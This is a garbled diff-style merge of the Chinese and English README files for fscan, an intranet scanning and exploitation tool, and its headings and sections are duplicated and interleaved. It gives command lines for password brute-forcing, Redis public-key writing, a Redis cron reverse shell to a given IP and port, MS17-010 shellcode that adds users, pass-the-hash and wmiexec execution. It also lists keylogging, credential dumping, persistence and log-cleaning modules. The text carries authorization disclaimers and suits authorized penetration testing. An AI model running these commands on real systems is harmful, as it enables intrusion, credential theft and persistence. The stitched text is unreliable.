fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt
# 从文件导入目标
fscan.exe -hf ip.txt
# 带Web管理界面
go build -tags web -ldflags="-s -w" -trimpath -o fscan-web .
```
### 特定功能
## 安装
```bash
# Redis利用
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub # 写公钥
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 # 计划任务反弹shell
# SSH操作
fscan.exe -h 192.168.1.1/24 -c whoami # SSH爆破成功后执行命令
# 密码爆破
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt # 指定用户名密码文件
fscan.exe -h 192.168.1.1/24 -m smb -pwd password # SMB密码碰撞
```
### 代理设置
```bash
# HTTP代理
fscan.exe -u http://baidu.com -proxy 8080
# SOCKS5代理
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080
```
### 特定漏洞检测
```bash
# MS17-010检测
fscan.exe -h 192.168.1.1/24 -m ms17010
# MS17-010利用
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add
```
## 编译说明
```bash
# 基础编译
go build -ldflags="-s -w " -trimpath main.go
# 使用UPX压缩(可选)
upx -9 fscan.exe
```
## Arch Linux安装
```bash
# 使用yay
# Arch Linux
yay -S fscan-git
# 或使用paru
paru -S fscan-git
```
# 0x04 参数说明
## 运行截图
## 目标设置
- `-h` : 设置目标IP
- 支持单个IP`192.168.11.11`
- 支持IP范围:`192.168.11.11-255`
- 支持多个IP`192.168.11.11,192.168.11.12`
- `-hf` : 从文件读取目标
- `-hn` : 设置要排除的IP范围
- `-u` : 指定单个URL扫描
- `-uf` : 指定URL文件扫描
## 扫描控制
- `-m` : 指定扫描模式,默认为"all"
- `-t` : 设置扫描线程数,默认600
- `-time` : 端口扫描超时时间,默认3秒
- `-wt` : Web访问超时时间,默认5秒
- `-debug` : 设置进度打印间隔,默认60秒
- `-silent` : 开启静默模式,适用于CS扫描
## 端口配置
- `-p` : 指定扫描端口
- 默认端口:21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017
- `-pa` : 在默认端口基础上新增端口
- `-pn` : 设置要排除的端口
## 爆破相关
- `-user` : 指定用户名
- `-userf` : 指定用户名文件
- `-pwd` : 指定密码
- `-pwdf` : 指定密码文件
- `-usera` : 在默认用户字典基础上新增用户
- `-pwda` : 在默认密码字典基础上新增密码
## Web相关
- `-cookie` : 设置Cookie
- `-num` : Web POC发包速率,默认20
- `-pocname` : 指定Web POC的模糊名称
- `-pocpath` : 指定POC路径
## 代理设置
- `-proxy` : 设置HTTP代理
- `-socks5` : 设置SOCKS5代理
## 输出控制
- `-o` : 设置结果保存路径,默认"result.txt"
- `-no` : 不保存扫描结果
- `-nobr` : 跳过密码爆破
- `-nopoc` : 跳过Web POC扫描
- `-np` : 跳过存活探测
## 特殊功能
- `-c` : SSH命令执行
- `-domain` : SMB爆破时设置域名
- `-rf` : Redis写公钥模块的文件路径
- `-rs` : Redis计划任务反弹shell的IP端口
- `-sshkey` : 指定SSH私钥路径
- `-sc` : MS17010利用模块shellcode功能
## 存活探测
- `-ping` : 使用ping代替ICMP进行存活探测
# 0x05 运行截图
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
`fscan.exe -h 192.168.x.x`
![](image/1.png)
![](image/4.png)
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥)`
`fscan.exe -h 192.168.x.x -rf id_rsa.pub` (Redis写公钥)
![](image/2.png)
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
`fscan.exe -h 192.168.x.x -m ssh -user root -pwd password`
![](image/3.png)
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc`
`fscan.exe -h 192.168.x.x -m ssh -user root -pwda pass1 pass2 pass3` (追加多个密码)
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080`
![](image/2020-12-12-13-34-44.png)
`fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别,下图的[+]DC代表域控)`
`fscan.exe -h 192.168.x.x -socks5 socks5://user:[email protected]:1080` (SOCKS5认证代理)
`fscan.exe -h 192.168.x.x -p 139 -m netbios`
![](image/netbios.png)
`go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息)`
![](image/netbios1.png)
`go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)`
`fscan.exe -h 192.0.0.0/8 -m icmp`
![img.png](image/live.png)
# 0x06 免责声明
![2.0-1](image/2.0-1.png)
本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
![2.0-2](image/2.0-2.png)
为避免被恶意使用,本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。
## 路线图
在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描。**
### 更新计划
- **更新周期** - 每月一次版本发布
- **前两周** - 新功能开发与特性更新
- **后两周** - Bug修复与代码整合
- **欢迎PR** - 期待您的贡献!
如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。
### SDK & Agent 集成
- 扩展SDK能力,完善端侧Agent嵌入支持
- 断点续扫、带宽级限速、内存水位控制
- 更多Agent场景的集成示例
在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。
### 插件生态
- 持续扩展服务插件覆盖范围
- 为每个服务插件开发更多漏洞检测和利用能力
- 保持插件API向后兼容,确保旧版本POC持续可用
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
### Fscan-lite
- C语言重写的轻量版本
- 更小的体积,更少的依赖
- 支持更多嵌入式/受限环境
- 目录: [fscan-lite](./fscan-lite)
### Fscan-lab
- 内网渗透测试靶场环境
- 覆盖所有fscan支持的漏洞场景
- 开发测试与功能验证平台
- 新手学习与技能练习环境
- 目录: [fscan-lab](./fscan-lab)
## 免责声明
本工具仅面向**合法授权**的企业安全建设行为。使用前请确保已获得授权,符合当地法律法规,**不对非授权目标扫描**。作者不承担任何非法使用产生的后果。
## 404StarLink
# 0x07 404StarLink 2.0 - Galaxy
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式
fscan 是 [404Team 星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 成员项目
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
## Star趋势
演示视频[【安全工具】5大功能,一键化内网扫描神器——404星链计划fscan](https://www.bilibili.com/video/BV1Cv4y1R72M)
# 0x08 Star Chart
[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
# 0x09 捐赠
如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png)
## 捐赠
# 0x10 参考链接
https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan
https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc
[请作者喝饮料](image/sponsor.png)
## 参考
# 0x11 最近更新
## 2024 更新
- **2024/12/19**: v2.0.0 重大更新
- 完整代码重构,提升性能和可维护性
- 重新设计模块化架构,支持插件扩展
- 改进并发控制,提升扫描效率
## 2023 更新
- **2023/11/13**:
- 新增控制台颜色输出(可用 `-nocolor` 关闭)
- 支持JSON格式保存结果(`-json`
- 调整TLS最低版本至1.0
- 支持端口分组(`-p db,web,service`
## 2022 更新
- **2022/11/19**: 新增hash碰撞和wmiexec无回显命令执行功能
- **2022/7/14**: 改进文件导入支持和搜索匹配功能
- **2022/7/6**: 优化内存管理,扩展URL支持
- **2022/7/2**:
- 增强POC fuzz模块
- 新增MS17017利用功能
- 加入socks5代理支持
- **2022/4/20**: 新增POC路径指定和端口文件导入功能
- **2022/2/25**: 新增webonly模式(致谢 @AgeloVito
- **2022/1/11**: 新增Oracle密码爆破
- **2022/1/7**: 改进大规模网段扫描,新增LiveTop功能
## 2021 更新
- **2021/12/7**: 新增RDP扫描功能
- **2021/12/1**: 全面优化功能模块
- **2021/6/18**: 改进POC识别机制
- **2021/5/29**: 新增FCGI未授权扫描
- **2021/5/15**: 发布Windows 2003版本
- **2021/5/6**: 更新核心模块
- **2021/4/21**: 加入NetBIOS探测和域控识别
- **2021/3/4**: 支持URL批量扫描
- **2021/2/25**: 支持密码爆破功能
- **2021/2/8**: 新增指纹识别功能
- **2021/2/5**: 优化ICMP探测
## 2020 更新
- **2020/12/12**: 集成YAML解析引擎,支持XRay POC
- **2020/12/6**: 优化ICMP模块
- **2020/12/03**: 改进IP段处理
- **2020/11/17**: 新增WebScan模块
- **2020/11/16**: 优化ICMP模块
- **2020/11/15**: 支持文件导入IP
_感谢所有为项目做出贡献的开发者_
[url-docen]: README_EN.md
- https://github.com/Adminisme/ServerScan
- https://github.com/netxfly/x-crack
- https://github.com/hack2fun/Gscan
- https://github.com/k8gege/LadonGo
- https://github.com/jjf012/gopoc
- https://github.com/chainreactors/gogo
- https://github.com/0x727/FingerprintHub
- https://github.com/killmonday/fscanx
+240 -214
View File
@@ -1,260 +1,286 @@
# fscan
[中文][url-doczh]
# Fscan
# 1. Introduction
An intranet comprehensive scanning tool, which is convenient for automatic and omnidirectional missed scanning.
It supports host survival detection, port scanning, explosion of common services, ms17010, Redis batch public key writing, planned task rebound shell, reading win network card information, web fingerprint identification, web vulnerability scanning, netbios detection, domain control identification and other functions.
[中文](README.md)
# 2. Functions
1.Information collection:
* Survival detection(icmp)
* Port scanning
Comprehensive intranet scanning tool for automated vulnerability assessment.
2.Blasting:
* Various service blasting(ssh、smb、rdp, etc.)
* Database password blasting(mysql、mssql、redis、psql、oracle, etc.)
**Version**: 2.2.0-rc.1.1
3.System information, vulnerability scanning:
* Netbios detection, domain control identification
* Collect NIC information
* High Risk Vulnerability Scanning(ms17010, etc.)
## Features
4.Web detection:
* Webtitle detection
* Web fingerprinting (cms, oa framework, etc.)
* Web vulnerability scanning (weblogic, st2, etc., also supports xray poc)
### Scanning
- **Host Discovery** - ICMP/Ping alive detection, B/C segment statistics for large networks
- **Port Scanning** - TCP connect scan, 133 built-in ports, port groups (web/db/service/all)
- **Service Detection** - Smart protocol identification, 20+ service fingerprint matching
- **Web Detection** - Website title, CMS fingerprint, web middleware, WAF/CDN detection (40+ signatures)
5.Exploit:
* Write redis public key and scheduled tasks
* Excute ssh command
* Use the ms17017 vulnerability (implanted shellcode), such as adding users, etc.
### Brute Force
- **Password Cracking** - 28 services (SSH/RDP/SMB/FTP/MySQL/MSSQL/Oracle/Redis, etc.)
- **Hash Authentication** - NTLM Hash support (SMB/WMI)
- **SSH Key Login** - Private key authentication
- **Smart Dictionary** - 100+ common passwords, {user} variable substitution
6.Others:
* Save ouput result
### Vulnerability Detection
- **Critical Vulns** - MS17-010 (EternalBlue), SMBGhost (CVE-2020-0796)
- **Unauthorized Access** - Redis/MongoDB/Memcached/Elasticsearch unauthorized detection
- **POC Scanning** - Integrated web POC, Xray POC format support
- **DNSLog** - DNSLog out-of-band detection
# 3. Instructions
Getting Started
```
fscan.exe -h 192.168.1.1/24
fscan.exe -h 192.168.1.1/16
### Exploitation
- **Redis Exploit** - Write pubkey, crontab, webshell, master-slave RCE
- **MS17-010 Exploit** - ShellCode injection, add user, execute commands
- **SSH Command Exec** - Auto command execution after authentication
### Local Modules
- **Info Gathering** - System info, environment variables, DC info, NIC config
- **Credential Access** - Memory dump (MiniDump), keylogger, registry export
- **Persistence** - Systemd service, Windows service, scheduled tasks, startup, LD_PRELOAD
- **Reverse Shell** - Forward shell, reverse shell, SOCKS5 proxy service
- **AV Detection** - Identify installed security software
- **Trace Cleanup** - Log cleaning tool
### Input/Output
- **Target Input** - IP/CIDR/domain/URL, batch file import
- **Exclusion Rules** - Exclude specific hosts, ports
- **Output Formats** - TXT/JSON/CSV multi-format output
- **Silent Mode** - No banner, no progress bar, no color output
### Network Control
- **Proxy Support** - HTTP/SOCKS5 proxy, network interface binding
- **Rate Control** - Rate limiting, max packet count control
- **Timeout Control** - Port/Web/Global timeout independent config
- **Concurrency** - Port scan threads, service scan threads independent config
### Extensions
- **Web Management UI** - Visual scan task management (build with -tags web)
- **Lab Environment** - Built-in Docker lab for testing and learning
- **Plugin Architecture** - Service/Web/Local plugins separated, easy to extend
- **Multi-language** - Chinese/English interface (-lang zh/en)
- **Performance Stats** - JSON format performance report (-perf)
## v2.1.0 Changelog
> This update includes **262 commits**: 30 new features, 120 fixes, 54 refactors, 14 performance optimizations, 20 test enhancements.
### Architecture Refactoring
- **Global Variable Elimination** - Migrated to Config/State objects for better concurrency safety and testability
- **SMB Plugin Consolidation** - Merged smb/smb2/smbghost/smbinfo into unified plugin with new smb_protocol.go
- **Service Probe Refactoring** - Implemented Nmap-style fallback mechanism, optimized port fingerprint strategy
- **Output System Refactoring** - TXT real-time flush + dual-write mechanism, resolved result loss and ordering issues
- **i18n Framework Upgrade** - Migrated to go-i18n, full coverage of core/plugins/webscan modules
- **HostInfo Refactoring** - Ports field changed from string to int for type safety
- **Function Complexity Optimization** - clusterpoc (125→30), EnhancedPortScan (111→20)
- **Code Audit** - Fixed P0-P2 level issues, cleaned up deadcode
- **Logging System Optimization** - LogDebug call cleanup (71→18), streamlined startup log output
### Performance Optimization
- **Regex Precompilation** - Global regex precompilation to avoid repeated compilation overhead
- **Memory Optimization** - Changed map[string]bool to map[string]struct{} for memory savings
- **Concurrent Fingerprint Matching** - Multi-goroutine parallel matching for faster identification
- **Connection Reuse** - SOCKS5 global dialer reuse to avoid repeated handshakes
- **Sliding Window Scheduling** - Adaptive thread pool + streaming iterator for port scan optimization
- **CEL Cache Optimization** - POC scan CEL environment caching to reduce repeated initialization
- **Package-level Variable Extraction** - proxyFailurePatterns/resourceExhaustedPatterns/sslSecondProbes etc.
- **Capacity Pre-allocation** - Simplified conversion chains, single-pass string replacement
- **Concurrency Safety Optimization** - Optimized lock granularity and memory allocation
### New Features
- **Web Management UI** - Visual scan task management with responsive layout and progress display
- **Multi-format POC Adapter** - Support for xray and afrog format POCs
- **Smart Scan Mode** - Bloom filter deduplication + proxy optimization
- **Enhanced Fingerprint Library** - Integrated FingerprintHub (3139 fingerprints)
- **Favicon Fingerprinting** - Support for mmh3 and MD5 dual-format hash matching
- **Universal Version Extractor** - Auto-extract service version information
- **Fingerprint Priority Sorting** - Smart sorting of match results
- **Smart Protocol Detection** - Auto-detect HTTP/HTTPS protocol type
- **Network Interface Binding** - Support for VPN scenarios (-iface parameter)
- **Exclude Hosts File** - Read excluded hosts from file (-ehf parameter)
- **ICMP Token Bucket Rate Limiting** - Prevent router crashes from high-speed scanning
- **Port Scan Retry** - Automatic retry mechanism for failed scans
- **RDP Real Authentication** - Integrated grdp library for system fingerprinting
- **SMB/FTP File Listing** - Auto-list files on anonymous access
- **302 Redirect Dual Detection** - Identify fingerprints from both original and redirected responses
- **TXT Output URL Summary** - Append web service URL list for batch testing
- **gonmap Core Integration** - Three improvements: probe strategy/matching engine/version parsing
- **Selective Plugin Compilation** - Build Tags system for independent service/local/web plugin compilation
- **Default Port Expansion** - Extended from 62 to 133 common ports
- **Full Port Scan Support** - Expanded port range limits
- **HTTP Redirect Control** - Configurable redirect count limit
- **Performance Profiling Support** - Added pprof profiling and benchmark tests
- **TCP Packet Statistics** - Service plugins support TCP packet send statistics
- **fscan-lab Environment** - Intranet penetration training platform covering all vulnerability scenarios
- **Redis Exploitation Enhancement** - Ported complete Redis exploitation (write pubkey/crontab/webshell/master-slave RCE)
- **rsync Plugin Refactoring** - Restructured authentication logic using go-rsync library
### Bug Fixes (120 items, key fixes listed)
- **RDP Null Pointer Panic** - Fixed certificate parsing crash (#551)
- **Batch Scan Missing Results** - Fixed large-scale scan omissions (#304)
- **JSON Output Format** - Fixed output format errors (#446)
- **Redis Weak Password Detection** - Fixed detection omissions (#447)
- **Real-time Result Saving** - Fixed scan results not saved timely (#469)
- **Nmap Parse Overflow** - Fixed octal escape parsing bug (#478)
- **Fingerprint Race Condition** - Fixed webtitle/webpoc race issues (#474)
- **MySQL Connection Validation** - Changed to information_schema for validation
- **Proxy Port Misjudgment** - Fixed port status judgment in proxy mode
- **Context Timeout** - Fixed 22 plugin timeout unresponsive issues
- **ICMP Race Condition** - Fixed concurrent scan race issues
- **IPv6 Address Format** - Fixed 4 address formatting issues
- **POC High Concurrency Hang** - Fixed Context propagation issues
- **Ctrl+C Result Loss** - Added signal handling for proper result saving
- **SOCKS5 Echo Issue** - Added proxy connection validation
- **Service Probe Leak** - Fixed connection not properly closed
- **webtitle Response Discard** - Fixed partial response data being discarded causing identification failure
- **TXT Vulnerability Info Missing** - Fixed output missing vulnerability details
- **JSON Fingerprint Missing** - Unified SERVICE result Target format
- **Scan Duration Display** - Fixed completion time showing as 0
- **False Vulnerability Records** - Refactored TXT output system to eliminate false positives
- **Redis Cross-platform Path** - Fixed exploitation path and timeout issues
- **Windows Compilation Warnings** - Fixed fscan-lite platform compatibility
- **Go 1.20 Compatibility** - Downgraded dependencies for compatibility
### Test Enhancements (20 items)
- **Unit Tests** - Core module coverage at 74-100%
- **Concurrency Safety Tests** - Dedicated tests for State object and fingerprint matching engine
- **Integration Tests** - Web scan/port scan/service probe/SSH auth/ICMP probe
- **CLI Parameter Tests** - Command-line argument parsing verification
- **Performance Benchmarks** - AdaptivePool and service probe strategy benchmarks
- **ResultBuffer Tests** - Deduplication and completeness scoring verification
### Engineering Improvements
- **CI Pipeline Optimization** - Upgraded to golangci-lint v2, simplified build steps
- **Issue Automation** - GitHub Issue template optimization, Project automation workflow
- **Full Lint Fixes** - revive/errcheck/shadow/staticcheck/gosimple all passing
- **README Rewrite** - Comprehensive Chinese and English documentation update
- **Code Format Unification** - gofmt/goimports standardization
## Quick Start
```bash
# Scan C-class network
./fscan -h 192.168.1.1/24
# Specify ports
./fscan -h 192.168.1.1 -p 22,80,443,3389
# Alive detection only
./fscan -h 192.168.1.1/24 -ao
# Disable brute force
./fscan -h 192.168.1.1/24 -nobr
# Web scanning
./fscan -u http://192.168.1.1
# Local plugin
./fscan -local systeminfo
# Hash authentication
./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx
# Redis write pubkey
./fscan -h 192.168.1.1 -m redis -rf id_rsa.pub
```
Advanced
```
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(Skip survival detection, do not save output result, skip web poc scanning)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (Redis write public key)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (Redis scheduled task rebound shell)
fscan.exe -h 192.168.1.1/24 -c whoami (Execute ssh command)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (Specify ssh module and port)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (Load the specified file and password to blast
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (Specify the path to save the scan results, which is saved in the current path by default)
fscan.exe -h 192.168.1.1/8 192.x.x.1 and 192.x.x.254 of segment A, convenient for quickly viewing network segment information )
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (Smb password crash)
fscan.exe -h 192.168.1.1/24 -m ms17010 (Specified ms17010 module)
fscan.exe -hf ip.txt (Import target from file)
fscan.exe -u http://baidu.com -proxy 8080 (Scan a url and set http proxy http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (Do not blast, do not scan Web poc, to reduce traffic)
fscan.exe -h 192.168.1.1/24 -pa 3389 (Join 3389->rdp scan)
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (Proxy only supports simple tcp functions, and libraries with some functions do not support proxy settings)
fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (Built-in functions such as adding users are only applicable to alternative tools, and other special tools for using ms17010 are recommended)
fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (Hash collision)
fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx(Wmiexec module no echo command execution)
```
Compile command
```
go build -ldflags="-s -w " -trimpath main.go
upx -9 fscan.exe (Optional, compressed)
```
Installation for arch users
`yay -S fscan-git or paru -S fscan-git`
## Build
Full parameters
```
Usage of ./fscan:
-br int
Brute threads (default 1)
-c string
exec command (ssh|wmiexec)
-cookie string
set poc cookie,-cookie rememberMe=login
-debug int
every time to LogErr (default 60)
-dns
using dnslog poc
-domain string
smb domain
-full
poc full scan,as: shiro 100 key
-h string
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hash string
hash
-hf string
host file, -hf ip.txt
-hn string
the hosts no scan,as: -hn 192.168.1.1/24
-m string
Select scan type ,as: -m ssh (default "all")
-no
not to save output log
-nobr
not to Brute password
-nopoc
not to scan web vul
-np
not to ping
-num int
poc rate (default 20)
-o string
Outputfile (default "result.txt")
-p string
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
-pa string
add port base DefaultPorts,-pa 3389
-path string
fcgi、smb romote file path
-ping
using ping replace icmp
-pn string
the ports no scan,as: -pn 445
-pocname string
use the pocs these contain pocname, -pocname weblogic
-pocpath string
poc file path
-portf string
Port File
-proxy string
set poc proxy, -proxy http://127.0.0.1:8080
-pwd string
password
-pwda string
add a password base DefaultPasses,-pwda password
-pwdf string
password file
-rf string
redis file to write sshkey file (as: -rf id_rsa.pub)
-rs string
redis shell to write cron file (as: -rs 192.168.1.1:6666)
-sc string
ms17 shellcode,as -sc add
-silent
silent scan
-socks5 string
set socks5 proxy, will be used in tcp connection, timeout setting will not work
-sshkey string
sshkey file (id_rsa)
-t int
Thread nums (default 600)
-time int
Set timeout (default 3)
-top int
show live len top (default 10)
-u string
url
-uf string
urlfile
-user string
username
-usera string
add a user base DefaultUsers,-usera user
-userf string
username file
-wmi
start wmi
-wt int
Set web timeout (default 5)
```bash
# Standard build
go build -ldflags="-s -w" -trimpath -o fscan .
# With Web UI
go build -tags web -ldflags="-s -w" -trimpath -o fscan-web .
```
# 4. Demo
## Install
`fscan.exe -h 192.168.x.x (Open all functions, ms17010, read network card information)`
```bash
# Arch Linux
yay -S fscan-git
```
## Screenshots
`fscan.exe -h 192.168.x.x`
![](image/1.png)
![](image/4.png)
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (Redis write public key)`
`fscan.exe -h 192.168.x.x -rf id_rsa.pub` (Redis write pubkey)
![](image/2.png)
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh command)`
`fscan.exe -h 192.168.x.x -m ssh -user root -pwd password`
![](image/3.png)
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 (Support for xray poc)`
`fscan.exe -h 192.168.x.x -m ssh -user root -pwda pass1 pass2 pass3` (add multiple passwords)
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080`
![](image/2020-12-12-13-34-44.png)
`fscan.exe -h 192.168.x.x -p 139 (Netbios detection, domain control identification, the [+]DC in the figure below represents domain control)`
`fscan.exe -h 192.168.x.x -socks5 socks5://user:[email protected]:1080` (SOCKS5 proxy with authentication)
`fscan.exe -h 192.168.x.x -p 139 -m netbios`
![](image/netbios.png)
`go run .\main.go -h 192.168.x.x/24 -m netbios (Show complete netbios information)`
![](image/netbios1.png)
`go run .\main.go -h 192.0.0.0/8 -m icmp(Detect the gateway and several random IPs of each segment C, and count the number of surviving top 10 segments B and C)`
`fscan.exe -h 192.0.0.0/8 -m icmp`
![img.png](image/live.png)
# 5. Disclaimer
![2.0-1](image/2.0-1.png)
This tool is only for **legally authorized** enterprise security construction activities. If you need to test the usability of this tool, please build a target machine environment by yourself.
![2.0-2](image/2.0-2.png)
In order to avoid being used maliciously, all pocs included in this project are theoretical judgments of vulnerabilities, there is no process of exploiting vulnerabilities, and no real attacks and exploits will be launched on the target.
## Roadmap
When using this tool for detection, you should ensure that the behavior complies with local laws and regulations, and you have obtained sufficient authorization. **Do not scan unauthorized targets**.
### Release Schedule
- **Release Cycle** - Monthly release
- **First 2 Weeks** - New features and enhancements
- **Last 2 Weeks** - Bug fixes and code integration
- **PRs Welcome** - Contributions are appreciated!
If you have any illegal acts during the use of this tool, you shall bear the corresponding consequences by yourself, and we will not bear any legal and joint liability.
### Plugin Ecosystem
- Continuously expand service plugin coverage
- Develop more vulnerability detection and exploitation capabilities for each service plugin
- Maintain backward compatibility of plugin APIs to ensure legacy POCs remain functional
Before installing and using this tool, please **be sure to carefully read and fully understand the content of each clause**. Restrictions, exemption clauses or other clauses involving your major rights and interests may remind you to pay attention in the form of bold, underline, etc. .
Unless you have fully read, fully understood and accepted all the terms of this agreement, please do not install and use this tool. Your use behavior or your acceptance of this agreement in any other express or implied way shall be deemed to have read and agreed to be bound by this agreement.
### Fscan-lite
- Lightweight version rewritten in C
- Smaller binary size, fewer dependencies
- Support for embedded/restricted environments
- Directory: [fscan-lite](./fscan-lite)
### Fscan-lab
- Intranet penetration testing lab environment
- Covers all vulnerability scenarios supported by fscan
- Development testing and feature verification platform
- Learning and practice environment for beginners
- Directory: [fscan-lab](./fscan-lab)
## Disclaimer
This tool is intended for **legally authorized** enterprise security testing only. Obtain proper authorization, comply with local laws, **do not scan unauthorized targets**. The author assumes no liability for any illegal use.
## 404StarLink
# 6. 404StarLink 2.0 - Galaxy
![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
Fscan is the member of 404Team [404StarLink2.0](https://github.com/knownsec/404StarLink2.0-Galaxy)If you have any questions about fscan or want to find a partner to communicate with, you can adding groups.
fscan is a member of [404Team StarLink 2.0](https://github.com/knownsec/404StarLink2.0-Galaxy).
- [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community)
## Star History
# 7. Star Chart
[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
# 8. Donation
If you think this project is helpful to you, invite the author to have a drink🍹 [click](image/sponsor.png)
## Donate
# 9. Reference links
https://github.com/Adminisme/ServerScan
https://github.com/netxfly/x-crack
https://github.com/hack2fun/Gscan
https://github.com/k8gege/LadonGo
https://github.com/jjf012/gopoc
[Buy the author a drink](image/sponsor.png)
## References
# 10. Dynamics
[+] 2022/11/19 Add hash collision, wmiexec echo free command execution function
[+] 2022/7/14 Add -hf parameter, support host: port and host/xx: port formats, rule.Search regular matching range is changed from body to header+body, and -nobr no longer includes -nopoc. Optimize webtitle output format.
[+] 2022/7/6 Add manual gc recycling to try to save useless memory, -Urls support comma separation. Fix a poc module bug- Nobr no longer contains nopoc.
[+] 2022/7/2 Strengthen the poc fuzzy module to support running backup files, directories, shiro keys (10 keys by default, 100 keys with the -full parameter), etc.Add ms17017 (use parameter: -sc add), which can be used in ms17010 exp Go defines the shell code, and built-in functions such as adding users.
Add poc and fingerprint. Socks5 proxy is supported. Because the body fingerprint is more complete, the icon icon is no longer running by default.
[+] 2022/4/20 The poc module adds the specified directory or file -path poc path, the port can specify the file -portf port.txt, the rdp module adds the multi-threaded explosion demo, and -br xx specifies the thread.
[+] 2022/2/25 Add - m webonly to skip port scanning and directly access http. Thanks @ AgeloVito
[+] 2022/1/11 Add oracle password explosion.
[+] 2022/1/7 When scanning IP/8, each C segment gateway and several random IPs will be scanned by default. Recommended parameter: -h ip/8 -m icmp. The LiveTop function is added. When detecting the survival, the number of B and C segment IPs of top10 will be output by default.
[+] 2021/12/7 Add rdp scanning and port parameter -pa 3389 (the port will be added based on the original port list)
[+] 2021/12/1 Optimize the xray parsing module, support groups, add poc, add https judgment (tls handshake package), optimize the ip parsing module (support all ip/xx), add the blasting shutdown parameter nobr, add the skip certain ip scanning function -hn 192.168.1.1, add the skip certain port scanning function - pn 21445, and add the scan Docker unauthorized vulnerability.
[+] 2021/6/18 Improve the poc mechanism. If the fingerprint is identified, the poc will be sent according to the fingerprint information. If the fingerprint is not identified, all poc will be printed once.
[+] 2021/5/29 Adding the fcgi protocol to execute the scan of unauthorized commands, optimizing the poc module, optimizing the icmp module, and adding the ssh module to the private key connection.
[+] 2021/5/15 Added win03 version (deleted xray_poc module), added silent scanning mode, added web fingerprint, fixed netbios module array overrun, added a CheckErrs dictionary, and added gzip decoding to webtitle.
[+] 2021/5/6 Update mod library, poc and fingerprint. Modify thread processing mechanism, netbios detection, domain control identification module, webtitle encoding module, etc.
[+] 2021/4/22 Modify webtitle module and add gbk decoding.
[+] 2021/4/21 Add netbios detection and domain control identification functions.
[+] 2021/3/4 Support -u url and -uf parameters, support batch scan URLs.
[+] 2021/2/25 Modify the yaml parsing module to support password explosion, such as tomcat weak password. The new sets parameter in yaml is an array, which is used to store passwords. See tomcat-manager-week.yaml for details.
[+] 2021/2/8 Add fingerprint identification function to identify common CMS and frameworks, such as Zhiyuan OA and Tongda OA.
[+] 2021/2/5 Modify the icmp packet mode, which is more suitable for large-scale detection.
Modify the error prompt. If there is no new progress in - debug within 10 seconds, the current progress will be printed every 10 seconds.
